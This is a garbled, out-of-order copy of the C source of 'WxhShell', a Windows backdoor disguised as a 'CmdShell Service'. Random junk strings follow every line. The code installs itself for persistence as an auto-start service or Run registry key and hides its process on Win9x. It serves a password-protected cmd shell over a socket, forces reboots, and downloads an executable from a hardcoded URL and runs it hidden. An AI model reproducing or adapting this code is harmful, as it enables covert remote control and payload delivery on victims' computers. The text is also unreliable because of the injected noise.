  case 'd': { wTLHg2'y^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `S2=LJ  
    if(Boot(SHUTDOWN)) |Ia46YS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,9("'bo  
    else { G{:L^2>  
    closesocket(wsh); PGJ?=qXr#  
    ExitThread(0); cCwT0O#d  
    } $W)FpN;CW/  
    break; ?mMd6U&J  
    } 7be?=c)+"  
  // 获取shell ) ":~`Z*@  
  case 's': { }9'rTLM  
    CmdShell(wsh); .w`8_v&Y  
    closesocket(wsh); J{91 t |  
    ExitThread(0); kZ2+=/DYN  
    break; eL],\\q  
  } uE>}>6)b  
  // 退出 xH0Bk<`V:  
  case 'x': { M@.1P<:h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5D'8 l@7  
    CloseIt(wsh); A ="h}9ok  
    break; JprZ6 >  
    } jtA Yp3M-$  
  // 离开 @0aUWG!k  
  case 'q': { $0WAhq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s%Z3Zj(,8(  
    closesocket(wsh); _A(J^;?  
    WSACleanup(); ,ihTEw,t(  
    exit(1); a/_ `1  
    break; 3Z`oI#-x  
        } 4Hu.o7  
  } ^0VI J)y  
  } o] = &  
1iz\8R:0  
  // 提示信息 sI`Lsd'V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  oo2VT  
} OyVp 3O  
  } Fw=-gb_.  
xi-^_I  
  return; K@h v[4  
} ")TI,a`  
)y8$-"D(it  
// shell模块句柄 s+4G`mq>*  
int CmdShell(SOCKET sock) 6$IAm#  
{ rZ^DiFR  
STARTUPINFO si; QjPcfR\  
ZeroMemory(&si,sizeof(si)); ' e-FJ')|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QkA79%;j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o zv><e#  
PROCESS_INFORMATION ProcessInfo; Lq yY??\@  
char cmdline[]="cmd"; _m@QeO'yh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K'y;j~`-  
  return 0; jn]{|QZ  
} )@Ly{cw   
!Y5O3^I=u  
// 自身启动模式 m'Wz0b^BO  
int StartFromService(void) 8c#u"qF  
{ & %1XYpA.0  
typedef struct o-R;EbL  
{ ?QZ\KY  
  DWORD ExitStatus; BK,= (;d3  
  DWORD PebBaseAddress; Y6V56pOS  
  DWORD AffinityMask; 2@=JIMtc  
  DWORD BasePriority; 4e9mN~  
  ULONG UniqueProcessId; @HR]b^2E  
  ULONG InheritedFromUniqueProcessId; poeKY[].  
}   PROCESS_BASIC_INFORMATION; iN_G|w[d  
!J.qH%S5   
PROCNTQSIP NtQueryInformationProcess; m7fmQUk  
U$qSMkj6RK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7kHEY5s "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B;L~ hM  
Qb6s]QZEV  
  HANDLE             hProcess; ,xNuc$8Jd  
  PROCESS_BASIC_INFORMATION pbi; p1CY?K  
&c0U\G|j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZY=x$($f  
  if(NULL == hInst ) return 0; UT+B*?,h  
/9;)zI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (@mvNlc:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?-Fp rC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?~;G)5  
~[Mm0L}8  
  if (!NtQueryInformationProcess) return 0; kpcIU7|e  
(@~d9PvB>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !XQG1!|ww  
  if(!hProcess) return 0; 2BEF8o]Np  
90&ld:97  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J6Cw1Pi  
}_Jr[iaB  
  CloseHandle(hProcess); @MS;qoc  
V`=#j[gX)=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h]&8hl_'m  
if(hProcess==NULL) return 0; xn}sh[<:P  
Av]<[ F/  
HMODULE hMod; 0 @~[SXR  
char procName[255]; * 3WK`9q  
unsigned long cbNeeded; YeK PoW  
1W;q(#q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `A])4q$  
j!xt&t4D  
  CloseHandle(hProcess); 1 f).J  
Q&rpW:^v  
if(strstr(procName,"services")) return 1; // 以服务启动 `XS6t)!ik  
\|RP-8  
  return 0; // 注册表启动 LS*^TA(I[  
} E$T)N U\  
a=T_I1  
// 主模块 aovRm|aOo'  
int StartWxhshell(LPSTR lpCmdLine) }>>lgW>n,;  
{ P'xq+Q  
  SOCKET wsl; v=$v*W  
BOOL val=TRUE; ]z;%%'gW6  
  int port=0; p=V (_  
  struct sockaddr_in door; vE^Hk!^  
uAwT)km {  
  if(wscfg.ws_autoins) Install(); );'8*e'  
C A VqjT7  
port=atoi(lpCmdLine); fE8/tx](  
iZ yhj%#  
if(port<=0) port=wscfg.ws_port; LcI,Dy|P  
76(-!Z@=J  
  WSADATA data; ayTEQS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R&PQU/t)  
4Bsx[~ u&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8xW_N"P.>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B0T[[%~3M  
  door.sin_family = AF_INET; :$lx]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )<nr;n  
  door.sin_port = htons(port); !c(B c^  
3V>2N)3`A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *+{umfZy  
closesocket(wsl); aOFF"(]Cl  
return 1; LxC*{t/>8  
} Y<0 [_+(  
LS}dt?78`V  
  if(listen(wsl,2) == INVALID_SOCKET) { /:iO:g1  
closesocket(wsl); QK)"-y}"g  
return 1; 9 N[k ?kUZ  
} c$ya{]a  
  Wxhshell(wsl); ov.7FZ+  
  WSACleanup(); 6&5p3G{%0  
}J$Q  
return 0; x'tYf^Va28  
n$i}r\ so  
} c&vY0/ [  
\#Ez["mD  
// 以NT服务方式启动 sS7r)HV&GI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VC,wQb1J/  
{ nSdta'6  
DWORD   status = 0; I'%vN^e^  
  DWORD   specificError = 0xfffffff; qc;9{$?xV  
;"l>HL:^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f^\qDvPur  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Hld#+R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M[LjN  
  serviceStatus.dwWin32ExitCode     = 0; z'GYU=  
  serviceStatus.dwServiceSpecificExitCode = 0; xj~5/)XX|X  
  serviceStatus.dwCheckPoint       = 0; H48`z'o  
  serviceStatus.dwWaitHint       = 0; :f<3`x'  
]U.1z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Au(zvgP  
  if (hServiceStatusHandle==0) return; 8(J&_7u  
8T6.Zhv  
status = GetLastError(); bR"hl? &c  
  if (status!=NO_ERROR) p}_n :a  
{ U2l7@uDr;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "$#X[ .  
    serviceStatus.dwCheckPoint       = 0; ]c%yib  
    serviceStatus.dwWaitHint       = 0; })f4`$qf  
    serviceStatus.dwWin32ExitCode     = status; L8sHG$[  
    serviceStatus.dwServiceSpecificExitCode = specificError; :\[W]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @5jJoy(mX@  
    return; Exd$v"s Y  
  } 6fV%[.RR  
9un* 1%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ad!= *n  
  serviceStatus.dwCheckPoint       = 0; Yz4)Q1  
  serviceStatus.dwWaitHint       = 0; MM8@0t'E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R%B"Gtl)  
} Vf<VKP[9K  
0EiURVX  
// 处理NT服务事件,比如:启动、停止 oU[Ba8qh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y8=p;7DY  
{ 0]%0wbY1  
switch(fdwControl) {YnR]|0&  
{ n%GlO KC  
case SERVICE_CONTROL_STOP: 0*0]R C5?  
  serviceStatus.dwWin32ExitCode = 0; c@H:?s!0R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G Xx7/X  
  serviceStatus.dwCheckPoint   = 0; z9OhY]PPF  
  serviceStatus.dwWaitHint     = 0; )bN|*Bw3  
  { ) in hPd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;T6{J[ h  
  } U"\$k&  
  return; p!5= 1$  
case SERVICE_CONTROL_PAUSE: 7 $AEh+f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VQA}!p  
  break; |L|)r)t  
case SERVICE_CONTROL_CONTINUE: CGmObN8~'F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M\\t)=q  
  break; 49. @Uzo  
case SERVICE_CONTROL_INTERROGATE: 1haNca_6,  
  break; mRVE@ pc2X  
}; XwWp4`Fd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n-iy;L^b  
} HRP4"#9R  
]r++YIg!j  
// 标准应用程序主函数 4JF)w;X}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mHcxK@qw  
{ ?z,^QjQ}  
IRy!8A=X  
// 获取操作系统版本 fT9z 4[M  
OsIsNt=GetOsVer(); ::bK{yZm   
GetModuleFileName(NULL,ExeFile,MAX_PATH); fNjxdG{a  
=fk+"!-i%"  
  // 从命令行安装 %@JNX}Y'  
  if(strpbrk(lpCmdLine,"iI")) Install(); X]up5tk~  
ukM11LD5x  
  // 下载执行文件 ;:(kVdb  
if(wscfg.ws_downexe) { my+y<C-o`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fT)u`voE,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ia=eFWt.  
} i$MYR @  
\GA6;6%Oo  
if(!OsIsNt) { s%Ez/or(T  
// 如果时win9x,隐藏进程并且设置为注册表启动 JBX#U@k>I  
HideProc(); {|)u).n|  
StartWxhshell(lpCmdLine); }py6H[  
} 9e^HTUFbG  
else $@]tTz;b  
  if(StartFromService()) _m3}0q  
  // 以服务方式启动 ch2Qk8  
  StartServiceCtrlDispatcher(DispatchTable); H(f~B<7q  
else .-Y3oWV  
  // 普通方式启动 S<), ,(  
  StartWxhshell(lpCmdLine); FtBYPSGz  
"{a-I=s\C  
return 0; 7kDX_,i  
} Ph[P$: 9  
:0K[fBa  
m|mY_t  
B<)c{kj  
=========================================== 7)Zk:53]  
3a#X:?  
fwvPh&U&  
BN!N_r  
)Rhy^<xH  
E+XpgR5  
" _3_d;j#G U  
rKZ1 c,y  
#include <stdio.h> Bl,rvk2  
#include <string.h> Fqtgw8  
#include <windows.h> FFE IsB"9  
#include <winsock2.h> T(UdV]~]"  
#include <winsvc.h> w[g(8 #*  
#include <urlmon.h> CE :x;!}cd  
P}=u8(u  
#pragma comment (lib, "Ws2_32.lib") 9OIX5$,S;  
#pragma comment (lib, "urlmon.lib") v=n'#:k  
H8^U!"~E  
#define MAX_USER   100 // 最大客户端连接数 (W*~3/@D  
#define BUF_SOCK   200 // sock buffer {\tHS+]  
#define KEY_BUFF   255 // 输入 buffer ^A9D;e6!-  
K.A!?U=  
#define REBOOT     0   // 重启 Z7 \gj`  
#define SHUTDOWN   1   // 关机 zk)9tm;i{  
Vs>/q:I  
#define DEF_PORT   5000 // 监听端口 p7.j>w1F  
pz'l9Gp;@  
#define REG_LEN     16   // 注册表键长度 \etuIFQ#U  
#define SVC_LEN     80   // NT服务名长度 hD OEJ  
I%dFVt@  
// 从dll定义API 7MX nt5qUh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AiUICf?{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( e> .hfrs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WJH)>4M#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gQ]WNJ~>  
^4jIT1  
// wxhshell配置信息 8;'fWV? U  
struct WSCFG { Z<j(ZVO  
  int ws_port;         // 监听端口 gO C5  
  char ws_passstr[REG_LEN]; // 口令 li>`9qCmI  
  int ws_autoins;       // 安装标记, 1=yes 0=no o_un=ygU  
  char ws_regname[REG_LEN]; // 注册表键名 ,`<w#  
  char ws_svcname[REG_LEN]; // 服务名 lWYZAF>?Ym  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3hzI6otKS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q/e$Ttt4J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OKDBzl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ts2;?`~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &r0b~RwUv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~N</;{}fL4  
L%D:gy9o  
}; RS`]>K3t  
 '%! '1si  
// default Wxhshell configuration L2v j)(  
struct WSCFG wscfg={DEF_PORT, d,"?tip/SX  
    "xuhuanlingzhe", \Qp #utC0s  
    1, x)'4u6;d  
    "Wxhshell", etY/K0  
    "Wxhshell", JXR_klx  
            "WxhShell Service", g.CUo:c  
    "Wrsky Windows CmdShell Service", $`J'Y>`  
    "Please Input Your Password: ", L\@SX?j  
  1, JaC =\\B  
  "http://www.wrsky.com/wxhshell.exe", .gPE Qc+D  
  "Wxhshell.exe" #N`~. 96  
    }; zP\n<L5  
idL6*%M  
// 消息定义模块 G]q1_q4P1?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W/dl`UDY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XqD/~_z;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }*+?1kv  
char *msg_ws_ext="\n\rExit."; 'BE &lW  
char *msg_ws_end="\n\rQuit."; {Vz.| a[T  
char *msg_ws_boot="\n\rReboot..."; .r~!d|  
char *msg_ws_poff="\n\rShutdown..."; 2{t i])  
char *msg_ws_down="\n\rSave to "; U1&pcwP  
J \iyc,M<M  
char *msg_ws_err="\n\rErr!"; mp2J|!Lx  
char *msg_ws_ok="\n\rOK!"; eT??F  
vB0O3]  
char ExeFile[MAX_PATH]; 'qRK6}"T  
int nUser = 0; >UTAk  
HANDLE handles[MAX_USER]; @^Tof5?F?  
int OsIsNt; Vc!` BiH  
0Xmp)_vba  
SERVICE_STATUS       serviceStatus; !2dA8b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A?{ X5` y  
_*b1]<  
// 函数声明 &Nx'Nq9y  
int Install(void); P 19nF[A  
int Uninstall(void); E|u#W3-:  
int DownloadFile(char *sURL, SOCKET wsh); ~GL"s6C$`;  
int Boot(int flag); xA;o3Or  
void HideProc(void); aL\vQ(1zO  
int GetOsVer(void); ?b?`(JTR  
int Wxhshell(SOCKET wsl); ;k6>*wFl|!  
void TalkWithClient(void *cs); B~HA 32  
int CmdShell(SOCKET sock); o XA3 i  
int StartFromService(void); |1d;0*HIgX  
int StartWxhshell(LPSTR lpCmdLine); v ?b9TE  
,o(7z^1Pe;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kz]vXJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z@E-pYV  
pDr%uL  
// 数据结构和表定义 %U]_1"d,<\  
SERVICE_TABLE_ENTRY DispatchTable[] = ]d#Lfgo  
{ 3`@alhD'  
{wscfg.ws_svcname, NTServiceMain}, { 3=\x  
{NULL, NULL} MB42 3{j  
}; _%G)Uz{3  
# 4E@y<l$  
// 自我安装 "bFt+N  
int Install(void) HJl$v#]#+  
{ T( @y#09  
  char svExeFile[MAX_PATH]; y74Ph:^ k  
  HKEY key; b>|3?G  
  strcpy(svExeFile,ExeFile); e(/~;"r{  
l"%|VWZ{iq  
// 如果是win9x系统,修改注册表设为自启动 -^=sxi,V  
if(!OsIsNt) {  j{,3!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oY@4G)5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9z9z:PU  
  RegCloseKey(key); >Lo 0,b$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8>.l4:`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jg8j>" Vj>  
  RegCloseKey(key); ,: X+NQ  
  return 0; /{pVYY  
    } S4]}/Imn)  
  } ~YO-GX(  
} /60 `"xH  
else { X+;F5b9z  
xEBiBsk d  
// 如果是NT以上系统,安装为系统服务 6 W/S?F~{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @-dM'R6C  
if (schSCManager!=0) Q+/:5Z C  
{ \tFg10  
  SC_HANDLE schService = CreateService xao'L  
  ( \-k X-Tq  
  schSCManager, 2kV[A92s  
  wscfg.ws_svcname, aaq{9Y#  
  wscfg.ws_svcdisp, (p<QRb:&Z  
  SERVICE_ALL_ACCESS, '| Enc"U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <VD^f  
  SERVICE_AUTO_START, ?qr-t+  
  SERVICE_ERROR_NORMAL, XWvT(+J  
  svExeFile, c-z 2[a8  
  NULL, -L>\58`  
  NULL, WN9 <  
  NULL, %=x|.e@J  
  NULL, Y%9S4be  
  NULL }5gAxR,  
  ); z)Xf6&  
  if (schService!=0) usiv`.  
  { qM F'&  
  CloseServiceHandle(schService); '$u3i #. \  
  CloseServiceHandle(schSCManager); 1Sox@Ko  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BCV<( @c  
  strcat(svExeFile,wscfg.ws_svcname); ,eq[X\B>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6zK8-V?9F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *OU>s;"$  
  RegCloseKey(key); <VV./W8e9  
  return 0; xq_%|p}y  
    } hNB;29r~  
  } .$b]rx7$ ~  
  CloseServiceHandle(schSCManager); G)\s{qk  
} c;_GZ}8  
} :+ksmyW  
WTPp/Nq'  
return 1; GSg|Gz""J0  
} /0QGU4=  
Z;shFMu  
// 自我卸载 <>GWSW  
int Uninstall(void) 6GCwc1g  
{ xN wKTIK$  
  HKEY key; R? Y#>K  
YK*2  
if(!OsIsNt) { Eq zS={Olj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J{' u  
  RegDeleteValue(key,wscfg.ws_regname); 5VIpA  
  RegCloseKey(key); |D)NP N&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V-a/%_D  
  RegDeleteValue(key,wscfg.ws_regname); V%k[S|f3  
  RegCloseKey(key); {= Dtajz  
  return 0; rP.qCl+J  
  } <tK 6+isc  
} N#{d_v^H?d  
} /km^IH  
else { b Jt397  
!cnunLc`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RWmQP%A}aw  
if (schSCManager!=0) 8[(eV.  
{ E> Ukxi1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )t={+^Xe  
  if (schService!=0) KL]K< A  
  { jLC,<V*  
  if(DeleteService(schService)!=0) { P<GY"W+r R  
  CloseServiceHandle(schService); TF 6_4t6  
  CloseServiceHandle(schSCManager); Hno@  
  return 0; KquHc-fzqr  
  } ^7v}wpwX\  
  CloseServiceHandle(schService); Z"#ysC  
  } tr"iluwGc  
  CloseServiceHandle(schSCManager); XNwY\y  
} iRo UM.%  
} [7B:{sH  
$wU.GM$t~  
return 1; qF=D,Dlz  
} [oOZ6\?HB  
P(G$@},W  
// 从指定url下载文件 r AMnM>`  
int DownloadFile(char *sURL, SOCKET wsh) jPYed@[+  
{ zR h1  
  HRESULT hr; h!56?4,%Y  
char seps[]= "/"; Gxv@a   
char *token; F.c`0u;=  
char *file; bTZ/$7pp9  
char myURL[MAX_PATH]; #C,M8~Q7  
char myFILE[MAX_PATH]; 4xhV +Y  
)hj77~{ +  
strcpy(myURL,sURL); 6gwjrGje\  
  token=strtok(myURL,seps); {55{ YDqx  
  while(token!=NULL) )c5 M;/s  
  { 6XUcJ0  
    file=token; RL |.y~  
  token=strtok(NULL,seps); 9Q- /Yh  
  } 3 D,PbAd  
'-3AWBWI1  
GetCurrentDirectory(MAX_PATH,myFILE); !>b>"\b  
strcat(myFILE, "\\"); i`7{q~d=  
strcat(myFILE, file); iaXNf ])?  
  send(wsh,myFILE,strlen(myFILE),0); XyJ*>;q  
send(wsh,"...",3,0); leyhiL<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  CJg &  
  if(hr==S_OK) T+NEw8C?/  
return 0; #T Cz$_=t  
else z=<T[Uy  
return 1; a#FkoA~M  
CyO2Z  
} rklr^ e  
3;~1rw=$<  
// 系统电源模块 o%X_V!B{V  
int Boot(int flag) `x$d8(1J`#  
{ >x@]w sj  
  HANDLE hToken; X!&DKE  
  TOKEN_PRIVILEGES tkp; M_+&XLnzsJ  
!y$H r[v  
  if(OsIsNt) { {%. _cR2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <`5>;Xn=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K"VphKvR  
    tkp.PrivilegeCount = 1; G/_#zIN`8M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s4P8PDhz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n l Xg8t^G  
if(flag==REBOOT) { & S_gNa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,kuJWaUC@  
  return 0; .Br2^F  
} VJBVk8P  
else { ZT4._|2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AuHOdiJ  
  return 0; ?XL[[vyr  
} Ya*lq! u  
  } K@U"^ `G2  
  else { </tiNc  
if(flag==REBOOT) { Gnp,~F"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GjE/!6b  
  return 0; [ik D4p=  
} ?l`DkUo*j  
else { QKc3Q5)@j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k#R}^Q  
  return 0; ]Rohf WHX  
} QR2J;Oj_  
} GZ/.eYE  
?H eC+=/Z  
return 1; }Xyu" P  
} ~!meO;|W  
pA3j@w  
// win9x进程隐藏模块 &tw.]3  
void HideProc(void) 9vCn^G%B  
{ {=IK(H  
>`n0{:.1za  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ##Z:/SU  
  if ( hKernel != NULL ) 'cy35M  
  { -'BJhi\Y]~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O7ceSz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [Av87!kJ!X  
    FreeLibrary(hKernel); !vfjo[v  
  } 'e02rqip{  
HKv:)h{ ?  
return; QW6F24  
} H&E c *MT  
l -_voOP  
// 获取操作系统版本 | ctGxS9  
int GetOsVer(void)  LD: w wH  
{ S0/@y'q3en  
  OSVERSIONINFO winfo; ]kbmbO?M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  rmUT l  
  GetVersionEx(&winfo); &|iFhf[o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pA='(G  
  return 1; vmAMlgZ8{<  
  else `j0T[Pi  
  return 0; =+~e44!~D  
} bM_Y(TgJ  
f% ZqK_CW  
// 客户端句柄模块 [0yKd?e  
int Wxhshell(SOCKET wsl) ?(Dkh${@  
{ 9 H2^4D8  
  SOCKET wsh; YoGnk^$  
  struct sockaddr_in client; =#^%; 66z  
  DWORD myID; iOPv % [  
'?E^\\"*  
  while(nUser<MAX_USER) Nz#T)MGO`  
{ cbsy&U  
  int nSize=sizeof(client); %*e6@Hm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \:8~na+(  
  if(wsh==INVALID_SOCKET) return 1; )s,L:{<  
!~04^(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p&B98c  
if(handles[nUser]==0) &zlwV"W  
  closesocket(wsh); :g2?)Er-  
else uT8/xNB!  
  nUser++; $Eg|Qc-1  
  } @}!1Uk3ud  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {#: js  
M A}=  
  return 0; PH9MB  
} qCSJ=T;  
=`xk|86f  
// 关闭 socket iN0pYqY*  
void CloseIt(SOCKET wsh) ?}m/Q"!1  
{ WfBA5  
closesocket(wsh); Tc,Bv7:  
nUser--; l^:m!SA_  
ExitThread(0); LVq3 R 8A  
} :HYqm*v;W  
gZ%B9i:  
// 客户端请求句柄 ~KD x  
void TalkWithClient(void *cs) _2q4Aaza  
{ *;Dd:D9  
\o?zL7  
  SOCKET wsh=(SOCKET)cs; skR/Wf9DH  
  char pwd[SVC_LEN]; iUi{)xa2  
  char cmd[KEY_BUFF]; I$\dT1m$  
char chr[1]; ?Bq"9*q  
int i,j; :7D&=n)  
jRm:9`.Q  
  while (nUser < MAX_USER) { L^KGY<hp4  
O}MY:6Pe  
if(wscfg.ws_passstr) { _Hl[Fit<j1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y]{<IF:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v{i'o4  
  //ZeroMemory(pwd,KEY_BUFF); !(*mcYA*W  
      i=0; x|_%R v  
  while(i<SVC_LEN) { zPe4WE|  
R/waWz\D  
  // 设置超时 %'kaNpBz  
  fd_set FdRead; (;$ J5  
  struct timeval TimeOut; Ra'0 ^4t  
  FD_ZERO(&FdRead); L=iaL[zdJ  
  FD_SET(wsh,&FdRead); @(JcM=  
  TimeOut.tv_sec=8; p \; * :  
  TimeOut.tv_usec=0; @4B+<,i   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _K )B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l\- 1W2  
C.C)&&|X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `FH Hh  
  pwd=chr[0]; 0AY23/  
  if(chr[0]==0xd || chr[0]==0xa) { xH; qJRHa  
  pwd=0; R@5jEf  
  break; >T%Jlj3ZG  
  } %RL\t5 TV  
  i++; [y\ZnoB  
    } b3wE8Co  
Mlb=,l  
  // 如果是非法用户,关闭 socket yHurt>8b[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x1Q}B   
} 9U>ID{  
LG [ 2u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;9q3FuR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4;M  
5@tpJ8E8$  
while(1) { }Jk.c~P)  
7ks09Cy  
  ZeroMemory(cmd,KEY_BUFF); Gnj;=f  
(zWzF_v  
      // 自动支持客户端 telnet标准   '&W`x5`t  
  j=0; <]b}R;9v  
  while(j<KEY_BUFF) { j?jEWreq]~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?g}n$%*5y!  
  cmd[j]=chr[0]; 4};!nYey!  
  if(chr[0]==0xa || chr[0]==0xd) { *#+d j"  
  cmd[j]=0; RV.z xPw>>  
  break; $|C%G6!s?@  
  } yUq,9.6Ig  
  j++; 5{zXh  
    } 5>t&)g  
Tg&{ P{$  
  // 下载文件 BcX}[?c  
  if(strstr(cmd,"http://")) { 2}'qu)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7$z")JB  
  if(DownloadFile(cmd,wsh)) V,<,;d fR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +e)So+.W  
  else qlIC{:E0  
